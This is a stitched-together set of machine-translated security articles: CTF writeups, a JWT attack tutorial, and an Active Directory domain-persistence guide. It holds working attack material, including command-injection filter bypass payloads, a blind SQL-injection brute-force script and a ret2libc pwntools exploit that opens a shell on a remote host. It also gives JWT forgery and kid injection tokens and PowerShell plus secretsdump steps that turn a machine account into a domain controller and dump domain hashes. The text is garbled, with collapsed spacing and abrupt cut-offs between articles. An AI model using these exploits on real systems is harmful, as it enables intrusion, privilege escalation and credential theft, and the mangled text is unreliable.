Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer:http://39.107.75.148:19304/index.php?ip=ip Accept-Encoding:gzip,deflate Accept-Language:zh-CN,zh;q=0.9 Cookie:PHPSESSID=r4mutkqgni200nfu6ar3qj3jp7;td_cookie=3097567335 Connection:close #Read source code ?ip=127.0.0.1%0Apaste%09index.phpArray ( [0]=?php [1]= [2]=header('Content-type:text/html;charset=utf-8'); [3]= [4]=//Open Session [5]= [6]=session_start(); [7]= [8]= [9]= [10]=//First determine whether the cookie remembers the user information [11]= [12]=if(isset($_COOKIE['username'])){ [13]= [14]=#If you remember the user information, it will be directly transmitted to Session [15]= [16]=$_SESSION['username']=$_COOKIE['username']; [17]= [18]=$_SESSION['islogin']=1; [19]= [20]=} [21]= [22]=if(isset($_SESSION['islogin'])){ [23]= [24]=//If you have logged in [25]= [26]= [27]=$res=FALSE; [28]= [29]=if(isset($_GET['ip'])$_GET['ip']){ [30]=$ip=$_GET['ip']; [31]=$m=[]; [32]=if(!preg_match_all('/(\|||;||\/|cat|flag|touch|more|curl|scp|kylin|echo|tmp|var|run|find|grep|-|`|'|:|||less|more)/',$ip,$m)){ [33]=$cmd='ping-c4{$ip}'; [34]=exec($cmd,$res); [35]=}else{ [36]=$res='Hacker, there is an illegal statement'; [37]=} [38]=} [39]= [40]= [41]=}else{ [42]= [43]=//If not logged in [44]= [45]=echo'You are not logged in yet, please ahref='login.html'login/a'; [46]= [47]=} [48]= [49]=? Regular interception is as follows: If(!preg_match_all('/(\|||;||\/|cat|flag|touch|more|curl|scp|kylin|echo|tmp|var|run|find|grep|-|`|'|:|||less|more)/',$ip,$m)) found kylin in the current directory, filtering also found kylin, guessing that flag is in this directory, but because/is intercepted, I try to enter the directory and read the file, but the question filters kylin, using the characteristics of the linux system, and check the directory file regularly. #Read the kylin directory ?ip=127.0.0.1%0Als%09ky?#Output: preArray ( [0]=flag.txt ) /pre#finalpayload ?ip=127.0.0.1%0Acd%09ky?%0apaste%09fl*#%09=''(tab), in fact ${IFS} can also ?ip=127.0.0.1%0Acd%09ky?%0apaste${IFS}fl* ?ip=127.0.0.1%0Aca''t${IFS}$(fi''nd${IFS}.) 4.web_Eeeeasy_SQL Source code: Use hexadecimal characters to compare directly, and use case when one by one to come out. Use binary to be case sensitive. Direct note of the script importrequests proxy={'http':'127.0.0.1:8080'} result='0x' k=0forjinrange(100): foriinrange(33,126): k=hex(i) k=k[2:] result+=k password='or(case\x09when\x09(binary\x09username'+result+')\x09then\x091\x09else\x09223372036854775807+1\x09end)#' data={'username':'aa\\','password':password} re=requests.post(data=data,url=url,proxies=proxy,allow_redirects=False) #sleep(0.1) print(re.status_code) if'msg'notinre.text: result=result[:-2] l=hex(i-1) l=l[2:] result+=l print(result) break else: result=result[:-2] Finally, the username=Flag_Accountpassword=G1ve_Y0u_@_K3y_70_937_f14g! After submitting login, you can see that it is a simple readfile. Just filter /flag, you can't use /flag directly. Just use /proc/self/root/flag to bypass?phpsession_start();if(isset($_SESSION['name'])){if($_SESSION['name']==='Flag_Account'){$file=urldecode($_GET['file']);if(! preg_match('/^\/flag|var|tmp|php|log|\%|sess|etc|usr|\.|\:|base|ssh|http/i',$file)){readfile($file);}else{echo'tryagain~';}}show_source(__FILE__);}else{echo'Login~';} 2. Pwn 1. H3ll0Rop Basic ret2libc frommpwnimport* context.log_level='debug'#p=process('./H3ll0Rop') p=remote('47.93.30.67',52705) elf=ELF('./H3ll0Rop') libc=ELF('./libc-2.23.so') pop_rdi=0x00000000000400753#vuln=0x400647 vuln=0x4006CC#leaklibc payload=b'a'*(0x60+0x8)+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(vuln) p.sendlineafter(b'me?',payload) libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts'] print('libc_base',hex(libc_base)) system=libc_base+libc.sym['system'] binsh=libc_base+next(libc.search(b'/bin/sh'))#getshell payload=b'a'*(0x60+0x8)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(vuln) p.sendlineafter(b'me?',payload) p.interactive()p.close() 2.5_1H3ll0Rop frommpwnimport* context(os='linux',arch='amd64') context.log_level=True e
-
Title: Summary of detailed explanation of JWT authentication attacks
0x01 JWT Basics 1. Introduction to JWT JWT is the full name of JSON Web Token, and uses json objects as carriers to transmit information. Usually used for identity authentication and information exchange. JWT can sign itself using a key (HMAC algorithm) or RSA or ECDSA's public/private key 2. JWT format Whenever a user accesses a resource in the site, the corresponding request header authentication defaults to Authorization: jwt. JTW token authentication starts with eyJ. The header of JWT's data is as follows: The data of JWT is divided into three parts: header (Header), payload (Payload), and signature (Signature) three parts are separated by English periods. Separated, the content of JWT is encoded with Base64URL. Here is an example of a specific token: eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwT xGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw (1) The header contains information about JWT configuration, such as signature algorithm (alg), token type (JWT), encryption algorithm (alg), or key files used by the algorithm (used when the server needs multiple key files). Header: eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQbase64 decoding: {'kid':'keys/3c3c2ea1c3f113f649dc9389dd71b851','typ':'JWT','alg':'RS256'} Where the token authentication type is JWT and the encryption algorithm is RS256 (2) Payload Payload is used to store user data, such as username (test123) Payload: eyJzdWIiOiJkdWJoZTEyMyJ9 (3) Signature Signature requires the encoded header and payload and a key we provide, and then the signature algorithm specified in the header is usually RS256 (RSA asymmetric encryption and private key signature) and HS256 (HMAC SHA256 symmetric encryption) algorithms. The purpose of signature is to ensure that JWT has not been tampered with. Here is an example of code that uses HS256 to generate Jw=WT. HMACSHA256(base64Encode(header) + '.' + base64urlEncode(payload),secret)Signature:XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnz h0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsusw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw 0x02 JWT Common Security Issues 1. The signature algorithm can be modified to none (CVE-2015-9235) JWT supports setting the algorithm to "None". If the "alg" field is set to " None”, then the signature will be empty, so any token is valid. One: the original payload data is not changed and the signature algorithm is not checked based on the unchecked signature algorithm eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2Vt cGVyLm5sXC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.LlHtXxVQkjLvW8cN_8Kb3TerEEPm2-rAfnwZ_h0pZBghttps://jwt.io/ Use jwt_too to attack (this tool is suitable for tokens obtained without changing the original payload data without signing algorithm) python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.LlHtXxVQkjLvW8cN_8Kb3TerEEPm2-rAfnwZ_h0pZBg -X a Get tokeneyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.Use the obtained token Confirm authentication request http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php Method 2: The original payload data is changed based on the unchecked signature algorithm. Use python3's pyjwt module to modify the data in the payload, use the none vulnerability to regenerate the token import jwt encoded=jwt.encode({'iss': 'https://demo.sjoerdlangkemper.nl/','iat': 1662737965,'exp': 1662739165,'data': {'hello': 'admin' }}, '', algorithm='none') encoded 'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6ImFkbWluIn19.' toekn:eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6ImFkbWluIn19. Repair solution: JWT The configuration should only specify the required signature algorithm 2. Not verified signature Some servers do not verify the JWT signature. You can try to modify the payload and then directly request the token or delete the signature directly and request it again to see if it is still valid. Modify payload data through online tool jwt.io Then the obtained token performs authentication request eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6ImFkbWlucyJ9fQ.Sv4QGoIbSQSP7Yeha2Qbhk10za6z42Uq dZuv1IUmPnU or delete signature, and request toekn authentication again :eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6ImFkbWlucyJ9fQ. Repair solution: JWT The configuration should specify only the required signature algorithm 3. JWKS public key Injection —— forgery key (CVE-2018-0114) Create a new RSA certificate pair, inject a JWKS file, and the attacker can sign the token with a new private key, include the public key in the token, and then let the service use the key to verify the token. The attacker can forge the JWT by deleting the original signature, adding a new public key to the header, and then signing with the private key associated with the public key. eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -X i The token certification obtained: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJqd3RfdG9vbCIsInVzZSI6InNpZyIsImUiOiJBUUFCIiwibiI6IjFQZDNGTXBFUVM0SU15WjJ4Tlh5UEJrdnRCWnBEZG8wakFGTEtwemdfSEM1ZE1vU3ZRR1pDWVpwZlJpMlpaTDZoUkNFNW9DUWRHeGd0MzZQZ VV2MERhTG8zLVJacGtzcFhpT3QzWU00RDU3SDdvQllEWVExcFh1dHNBRzliaXJ6SENGM2l0alg1S0Zha2ljTkw5cGsySnloRDRTU1BoOUVQMkNQVHExMV9sV1o1N1ZacGFMdDJxLXB1THQ3SWNSYnhmbEhlaUZxRTlUSUtnRW1scExBVjBRajFiWEk3bVhMZEQxT0NyS2w0SDdqbEFlWG5LY0xQTEJnb2Y4RzBTeXRGSU1PN1 BvQVpUZUVHVHJiZmktNlZKNGNrcUNfdjJYQUR1WHBTSU5mOFBrbXZXckdjTk1XaEEwVXZvcVJCdnFHR0ZBWnBRT2dhR1VUVktvdzJOTXllUSJ9fQ.eyJsb2dpbiI6InRpY2FycGkifQ.JGqsWHbZaas_4DAfbtkK-DOBpueDrWw3tZuBonKUleIoa_Ll6yMrwzvJ0RjqMH2hIlhKrixTce7RtJPiqEJAHv_5eMF5G3qkU2jDb M6Un19dlTRTBfCh3FIKMrkh1P-CUUw7AXO2cae1GWNvGK74d3VNulgBK5Qy4uZryrzJUO-7Dx5vHUfV3eJ8J-FRRFqDO_DYAjB7cbWHuB4RHcUkIwJ9Fz3ze5JIKMXrcmZIEvCssUxjaYIb7Rpm-lI34yWSQbOGA82glkt4xqjulZZqF7Eysu1Q3JNUqPiD24T1zrE7CHm3btpBzW4CSRPrs8z5E-GUgZApH_vodp3mLxa9tA Fix: JWT configuration should clearly define which public keys to accept for verification 4. Empty signature (CVE-2020-28042) delete the signature from the end of the token python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -X n token authentication obtained: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ. Repair solution: JWT library should fix this problem 4. Sensitive information leakage JWT's header header base64 decoding can leak sensitive data such as key files or passwords or injection vulnerabilities eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ base64 decoding: {'kid':'keys/3c3c2ea1c3f113f649dc9389dd71b851','typ':'JWT','alg':'RS256'} where the authentication type is JWT, the encryption algorithm is RS256, kid specifies the encryption algorithm's key, the path of the key KID is: keys/3c3c2ea1c3f113f649dc9389dd71b851k, then search for /key/3c3c2ea1c3f113f649dc9389dd71b851k and /key/3c3c2ea1c3f113f649dc9389dd71b851k.pem5.KID Parameter Vulnerability (1) Any file read key ID (kid) is an optional header, a string type, used to represent a specific key present in the file system or database, and then use its contents to verify the signature. This parameter is helpful if there are multiple keys for signing the token, but can be dangerous if it is injectable, as the attacker can point to a specific file whose content is predictable. The kid parameter is used to read the key file, but the system does not know whether the user wants to read the key file. Therefore, if the attacker does not filter the parameters, the attacker can read any file in the system. { 'typ': 'JWT', 'kid': '/etc/passwd', 'alg': 'HS256'} token:eyJ0eXAiOiJKV1QiLCJraWQiOiIvZXRjL3Bhc3N3ZCIsImFsZyI6IkhTMjU2In0.eyJsb2dpbiI6InRpY2FycGkifQ.CPsfiq-_MnwM7dF6ZZhWPl2IbKgF447Iw6_EgRp6PFQ Note: /dev/null in linux system is called an empty device file and never returns anything. You can bypass reading any file python3 jwt_tool.py JWT -I -hc kid -hv '././dev/null' -S hs256 -pc login -pv'ticarpi' Parameter Description: -I Inject or update the current declaration, -hc kid sets kid in the existing header, -hv sets its value to '././dev/null', -pc Sets the declaration variable name of payload, such as: login, -pv Sets the value of the declaration variable login is 'ticarpi' or you can use any file present in the web root directory, such as CSS or JS, and use its content to verify the signature. python3 jwt_tool.py -I -hc Kid -hv 'path/of/the/file' -S hs256 -p 'file content' (2) SQL injection kid can also extract data from the database. At this time, it may cause SQL injection attacks. By constructing SQL statements to obtain data or bypass signature verification { 'typ': 'JWT', 'kid': 'key1111111111' || union select 'secretkey' --', 'alg': 'HS256'} :eyJ0eXAiOiJKV1QiLCJraWQiOiJrZXkxMTExMTExMScgfHwgdW5pb24gc2VsZWN0ICdzZWNyZXRrZXknIC0tIiwiYWxnIjoiSFMyNTYifQ.eyJsb2dpbiI6InRpY2FycGkifQ.I2oD_v7UvBIqilLcyuqP_HDY28yp1IFZeTs90fk-Tdc (3) Command injection is not strict in filtering kid parameters, but the utilization conditions are relatively strict. If the server backend uses Ruby and uses the open function when reading the key file, the command injection may be caused by constructing parameters. { 'typ': 'JWT', 'kid': 'keys/3c3c2ea1c3f113f649dc9389dd71b851k|whoami', 'alg': 'HS256'} token:eyJ0eXAiOiJKV1QiLCJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxa3x3aG9hbWkiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI
-
Title: 2022 Sichuan-Chongqing Network and Information Security Vocational Skills Competition-Individual Preliminary Competition Writeup
1.Web 1-1:Title name: Directory scan Flag: DASCTF{84a70245035ca88088a2ba6ae2378021} 1-3:Title name: MissingData The main thing is to start ob_start(); so all outputs will be stored in the buffer, and the user will manually fetch the output. So the file name $this-LOG_NAME is obtained by hello: $hello=$_GET['hello']; echo $hello; $this-LOG_NAME=base64_decode(ob_get_contents());//Save the value passed by hello to LOG_NAME ob_clean(); The file content is REMOTE_ADDR connection to UA: $getlog-setIp($_SERVER['REMOTE_ADDR']); $getlog-setUserAgent($_SERVER['HTTP_USER_AGENT']); $getlog-echoLog(); $log_info=date('Y-m-d H:i:s ').ob_get_contents(); The last destructor will write a log public $LOG_PATH='/log/'; file_put_contents(dirname(__FILE__).$this-LOG_PATH.$this-LOG_NAME,$log_info); //The path is ./log/$_GET['hello'] //Write a sentence in UA and it's OK The output is thrown into the buffer first and then stored in the file. The file name is controlled by hello. Just write a sentence in the file content ua. 2.MISC 2-3-Title name: 0101 It was found that it started with pk and was a zip compressed package, changed to a.zip Use the following script to get flag: importzipfilez=zipfile.ZipFile('./a.zip')foriinz.filelist:print(i)s=''foriinrange(304):x=z.getinfo(f'file/{i}.png')ifx.file_size500:s +='0'else:s +='1'# print(s)print(int.to_bytes(int(s, 2), 304//8, 'big')) flag: DASCTF{Jo2YAKT_IcRgmzZ3GWe_Swt8vqadQO} 3.CRYPTO 3-1Title name: soeasy_rsa from gmpy2 import * from Crypto.Util.number import * a=2380402194007867640834230133203689290000472813648007647953021975206512532731882164772245921609577026496538897355132363531131317883867086048778847678868666 75605015726472177258684459630640657685787850703752943907052651392339497467843371766418025796562413303338351121513907686789154886620715851548718281365666809 187058800263851824525907860039143933728304943908336579405685696188421049700292603636950535727494958939999452204939356373348680294604482825148431031457951 02173534495304156971490358608124680851055950154432367509652612855903019752959349069234185596982394068554146096092741880878895682860091022727772496856721290 p=iroot(a,2) print(p) p=154285520837435281376516898144008792793020984180192603663692347665042795645086703863131549256869630446819852185017005249707039620525550780754809067914632 509810226131750340822324265288338519653179637243674514007442185191001273565127093303845334544550007384054303733880561987508919843229875482519439615469904551 print(is_prime(p)) c1= 7594921197064526047784080923079517059827539466365558544650204974415163497780626659206443793638988828064232907316737135802139126460602808272827494458434164732495785719505318822019624456 1623697425292916511744852569537275299008074069250282222480373555169325242455879869868679935977005580843853804599341730525546675515324718058489296906319060874296111833437083796029771812 c2= 77907941155376849046818020584594846942386293571953448410760364023962818506838837521412252753647936913064982141652362831680077554268552176063108954360620095019160785058740575077744454461 64396927393873127062799179592524261929396489624929509403472538179516440071408622677765206119443023359819036655186448408911111449931544355548130487697653008605945892957382219567188182572 q=iroot(a-(p**2),2) print(q) q=888347358062191513488156436138991579826598872460149267394117 n=p*q for e in range(2**16): try: d=invert(e,(p-1)*(q-1)) m=pow(c1,d,n) m=long_to_bytes(m) if b'DASCTF' in m: print(e) print(m) except:pass 3-2Title name: middleersa1 dp low-level leak, directly restore dp sagemath fromtqdmimport*secret=1642122247947767590084047512154856959705749371720710428047250478126321193705946117104552307567185209952017e=0x10001n=53290208062987048378703574235428685467319210471478014757229530639473548433668122104609082311237893278140109351209752453324855439700478949142631006593125874 482133364050198292529339327668306943207846561273907830779959709641714284066463679953568692820076085446240980505949826504849495848235048490118010959579651F.x=PolynomialRing(Zmod(n))d=inverse_mod(e, n)forkintrange(1, e): f=(2^350*x+secret ) + (k-1) *d f=f.monic() x0=f.small_roots(X=2** (160+1), beta=0.44, epsilon=1/32) iflen(x0) !=0: dp=x0[0]*2^350+secret foriinrange(2, e): p=(e*Integer(dp) -1+i) //i ifn%p==0: break ifp0: Continue continue else: print('p=',p) print('dp=',dp) break charon@root:~/Desktop$sage3.sage 3%|█▏ |2131/65536 [04:202:15:43, 7.79it/s]('p=', 7285247160124204278422137084033487832078298767596529079060207472774245581946206647731149570480079821873425695996881346401317790559430521087133338233749429) ('dp=', 236998137622790233327677438136615897248743961007000625548260712756987527361785137753678241058692497066300617725336085425448365495410315866728234083256081) 3%|█▏ |2131/65536 [04:202:09:08, 8.18it/s] fromCrypto.Util.numberimport*fromgmpy2import*p=7285247160124204278422137084033487832078298767596529079060207472774245581946206647731149570480079821873425695996881346401317790559430521087133338233749429n=532902080629 87048378703574235428685467319210471478014757229530639473548433668122104609082311237893278140109351209752453324855439700478949142631006593125874482133364050198292529339327668306943207846561273907830779959709641714284 066463679953568692820076085446240980505949826504849495848235048490118010959579651c=121645839012282267235698318035557474254197947143312075093479977955202068661738134785587472593190243766519680088385628562659669034718 03669392265118265704723742518812401306445616633449971845569756343283456918105040589961351125414282181230864299705837250020888494290318050869813023592249838047791552928679622761print(is_prime(p))print(gcd(n,p))q=n//pe=0x10001d=invert(e,(p-1)*(q-1))m=pow(c,d,n)print(long_to_bytes(m)) DASCTF{6f05154b11bdf950cd2444176618139a} 3-3 Title name: middleersa3 Free, I gave it to flag directly from the source code fromCrypto.Util.numberimport*FLAG=b'DASCTF{ed3256281d277e12d926b0e8b49f6d78}'p=getPrime(512)q=getPrime(512)e=0x10001d=inverse(e, (p-1)*(q-1))dp=d% (p-1)print('dp:', (dp(2**(512-50)-1))50)print('N:', p*q)print('c:', pow(bytes_to_long(FLAG), e, p*q))'''dp: 2128058695275696512876004752540135766587344290422001997701794179770820634047195468195463118189149674857434252592319139131895N: 6275040413237878235178265456354374763019744989404177645139779005037415862760250961966644447467228603553808644751425715077392985705893045517319192895945366689 5924318267595065857666587937426343157432947610821599765514871454429345275531144349280502167596016574278216643741963132363234498658461551550399794413383c: 55337446119274361069965649785140747071935055092480249085789478526259932536136231609682528797724708750732847686561672780887952659134484499521434824018747099 238582445758002389884725560169750050917959735297922450030075064765749276015138482194721673506034988635977907296576683118011031333035476989567847885710256''' DASCTF{ed3256281d277e12d926b0e8b49f6d78} 4.RE 4-1Title name: simpleDispy pydis reading questions, manually restore the pydis verification algorithm. arr=[47378, 29475, 46200, 39869, 67243, 68695, 73129, 27171, 53832, 30653, 60541, 67276, 58816, 63571, 50131, 34471, 67922, 82293, 33259, 67538, 57810, 50339, 34632, 68754, 83192, 36077, 60424, 54547, 56308, 33565, 69425, 84024]# Verification k=22643 flag='t'*32 for i in range(32): num=(ord(flag[i])*255)+k if arr[i] !=num: print('Error') break k=(k+num)0xFFFF# Restore flag k=22643 flag='' for i in range(32): flag +=chr(((arr[i] - k)//255)) k=(k+arr[i])0xFFFF print(flag) flag: ab0c216ec63a9f984cbf8975ad63e09c 4-2Title name: stripgo v1=encoding_base64_NewEncoding((__int64)'QWERTYUIOPASDFGHJKLZXCVBNMqwertyuioopasdfghjklzxcvbn/+m1234567890', 64LL);if ( v4==32runtime_memequal(v3, (__int64)'K/WyqBFyrUisB1Pse2KyDVYxM2CfMJ==', 32LL) ) Deformed table base64 https://gchq.github.io/CyberChef/#recipe=From_Base64('QWERTYUIOPASDFGHJKLZXCVBNMqwertyuioopasdfghjklzxcvbn/%2Bm1234567890',true,false)input=Sy9XeXFCRnlyVWlzQjFQc2UyS3lEVll4TTJDZk1KPT0
-
Title: Using machine accounts to maintain domain permissions
0x00 Introduction Machine accounts are used by many technologies for permission elevation and horizontal movement, but there are also cases where domain permission persistence is established through machine accounts. This involves adding an arbitrary machine account to a privileged group (such as a domain administrator group) or modifying the userAccountControl property of the machine account to convert it to a domain controller. In both cases, an attacker can authenticate and perform privileged operations through a machine account, such as exporting all domain hashes through DCSync, etc. @Sean Metcalf is the first to publicly disclose how to use a machine account as a domain persistence backdoor by adding a machine account to a high-privilege group, the same approach as adding a standard user account to a domain administrator group. In 2020, @Stealthbits published an article titled 《SERVER (UN)TRUST ACCOUNT》, showing another persistence technology that involves how to replicate Active Directory from a machine account. Although dumping password hashing through DCSync technology is not new and related operations may trigger appropriate alerts, using machine accounts to perform the same technology can achieve a more concealed purpose. 0x01 Basics of userAccountControl In the active directory, userAccountControl is a required property for each account. This property is a bit field. Different flag bits represent different user information. The value of this property is the sum of all flag bit values. The following figure is the possible flags given in Microsoft's official documentation, as well as their hexadecimal and decimal values. For details, please refer to: Use the UserAccountControl flags to manipulate user account properties. There is a flag in the userAccountControl called SERVER_TRUST_ACCOUNT, which has a hexadecimal value of0x2000 and a decimal value of 8192, which is used to indicate that the account is a machine account of the domain controller. When the userAccountControl property of the machine account has the SERVER_TRUST_ACCOUNT flag bit set, Active Directory must set the primaryGroupId property of the account to the RID of the domain controller group. Therefore, you can grant domain controller privileges to normal domain member machines by simply changing the flag bit of userAccountControl. 0x02 Experimental Test 1 In actual combat, attackers can abuse the userAccountControl attribute to change the identity of ordinary domain machines into domain controllers, and cooperate with DCSync technology to achieve domain persistence. The specific method is relatively simple, which is to set the userAccountControl property value of the machine account to 8192. (1) Execute the following command on the domain controller to create a machine account named PENTEST$ in the domain through Powermad, and set the account password to Passw0rd. Import-Module .\Powermad.ps1# Set the password of the machine account $Password=ConvertTo-SecureString 'Passw0rd' -AsPlainText -Force # Create a machine account through the New-MachineAccount function New-MachineAccount -MachineAccount 'PENTEST' -Password $($Password) -Domain 'pentest.com' -DomainController 'DC01.pentest.com' -Verbose (2) Execute the following command to query the newly added machine account PENTEST$ through PowerView.ps1. It can be seen that the main group ID (primaryGroupId) of the account PENTEST$ is 515. This is the RID of the Domian Computers group, which means that PENTEST$ is still an ordinary domain member machine at this time, as shown in the figure below. Import-Module .\PowerView.ps1 Get-NetComputer -Identity 'PENTEST' -Properties name, primaryGroupID, userAccountControl (3) Execute the following command and set the userAccountControl property value of the PENTEST$ account to 8192 through PowerView.ps1, which will change the main group ID of the account to 516, as shown below. At this time, the main group of the PENTEST$ account is changed to Domain Controllers, that is, the domain controller group. Import-Module .\PowerView.ps1 Set-DomainObject -Identity 'PENTEST$' -Set @{'userAccountControl'=8192} -Verbose As shown in the figure below, the PENTEST$ account is already a domain controller at this time. (4) Since it has the required privileges and the account password is known, the domain user hash can be exported directly through secretsdump.py on a normal domain host to execute DCSync operation, as shown in the figure. python3 secretsdump.py pentest.com/PENTEST\$:[email protected] -just-dc According to the above utilization process, a simple PowerShell script NewDomainController.ps1 was written. The following is the complete code : Function NewDomainController { # .SYNOPSIS This script will create a new domain controller account in the domain for the purpose of domain persistence. .DESCRIPTION In Active Directory, userAccountControl is a necessary attribute of each account. This attribute is a bit field. Different flags represent different user information. The value of this attribute is the sum of all flags. There is a flag named SERVER_TRUST_ACCOUNT in userAccountControl, whose hexadecimal value is0x2000 and decimal value is 8192, which is used to indicate that the account is the machine account of the domain controller. When a machine account's userAccountControl attribute has the SERVER_TRUST_ACCOUNT bit set, Active Directory must set the account's primaryGroupId attribute to the RID of the domain controller group. So just change userAccountControl to grant domain controller privileges to normal domain member machines. .LINK https://whoamianony.top/domain-persistence-machine-accounts/ .PARAMETER Domain Specifies the domain name, if omitted, the domain name will be obtained automatically. .PARAMETER DomainController Specifies the FQDN of the domain controller. .PARAMETER MachineAccount Specifies the name of the machine account to be created. .PARAMETER Password Specifies the password of the machine account to be created. .OUTPUTS Output will be shown in the console .NOTES Version: 0.1 Author: WHOAMI Date: 01/18/2022 .EXAMPLE NewDomainController -MachineAccount 'PENTEST' -Password 'Passw0rd' -Domain 'pentest.com' -DomainController 'DC01.pentest.com' # param ( [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [string]$Domain, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [string]$DomainController, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [string]$MachineAccount, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [string]$Password ) function FormatStatus([string]$Flag, [string]$Message) { If($Flag -eq '1') { Write-Host '[+] ' -ForegroundColor:Green -NoNewline Write-Host $Message }ElseIf($Flag -eq '0') { Write-Host '[-] ' -ForegroundColor:Red -NoNewline Write-Host $Message } } $null=[System.Reflection.Assembly]:LoadWithPartialName('System.DirectoryServices.Protocols') if($Password) { $SecurePassword=$Password | ConvertTo-SecureString -AsPlainText -Force $PasswordBSTR=[System.Runtime.InteropServices.Marshal]:SecureStringToBSTR($SecurePassword) $PasswordClearText=[System.Runtime.InteropServices.Marshal]:PtrToStringAuto($PasswordBSTR) $PasswordClearText=[System.Text.Encoding]:Unicode.GetBytes(''' + $PasswordClearText + ''') } if(!$DomainController -or !$Domain) { try { $CurrentDomain=[System.DirectoryServices.ActiveDirectory.Domain]:GetCurrentDomain() } catch { FormatStatus 0 '$($_.Exception.Message)' throw } if(!$DomainController) { $DomainController=$CurrentDomain.PdcRoleOwner.Name FormatStatus 1 'Get Domain Controller: $DomainController' } if(!$Domain) { $Domain=$CurrentDomain.Name 